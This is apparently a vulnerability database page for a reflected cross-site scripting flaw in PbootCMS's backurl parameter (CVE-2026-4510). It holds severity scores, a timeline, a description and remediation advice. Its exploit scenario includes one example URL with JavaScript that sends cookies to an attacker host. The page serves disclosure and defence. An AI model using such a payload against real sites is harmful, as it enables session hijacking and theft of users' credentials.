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PHP EUVD-2026-14242

| CVE-2026-4510 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-21 VulDB GHSA-89w6-5gpp-wfvp
2.1
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

7
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVSS changed
Apr 24, 2026 - 16:37 NVD
4.3 (MEDIUM) 5.3 (MEDIUM)
PoC Detected
Mar 23, 2026 - 14:31 vuln.today
Public exploit code
EUVD ID Assigned
Mar 21, 2026 - 07:15 euvd
EUVD-2026-14242
Analysis Generated
Mar 21, 2026 - 07:15 vuln.today
CVE Published
Mar 21, 2026 - 07:02 nvd
MEDIUM 4.3

DescriptionCVE.org

A weakness has been identified in PbootCMS up to 3.2.12. This impacts the function alert_location of the file apps/home/controller/MemberController.php of the component Parameter Handler. This manipulation of the argument backurl causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.

AnalysisAI

A reflected cross-site scripting (XSS) vulnerability exists in PbootCMS versions up to 3.2.12 in the alert_location function of the MemberController.php file, where the backurl parameter is not properly sanitized before output. An attacker can craft a malicious URL containing JavaScript code that will execute in a victim's browser when they click the link, potentially leading to session hijacking, credential theft, or malware distribution. …

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Vulnerability AssessmentAI

Risk Assessment The CVSS v3.1 score of 4.3 is relatively modest due to required user interaction (UI:R), no elevated privileges needed (PR:N), and limited impact scope (integrity only, no confidentiality or availability impact). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker sends a phishing email to users of a PbootCMS-powered website with a crafted link containing JavaScript in the backurl parameter, e.g., http://target.com/member?backurl=javascript:fetch('https://attacker.com/steal?c='+document.cookie). When an unsuspecting user clicks the link and the alert_location function processes it, the JavaScript executes in their browser, exfiltrating session cookies or redirecting them to a credential harvesting page. …
Remediation Upgrade PbootCMS to a version newer than 3.2.12 as soon as a patched release becomes available from the vendor. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems running PbootCMS and apply vendor patches as part of regular patch cycle. …

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EUVD-2026-14242 vulnerability details – vuln.today

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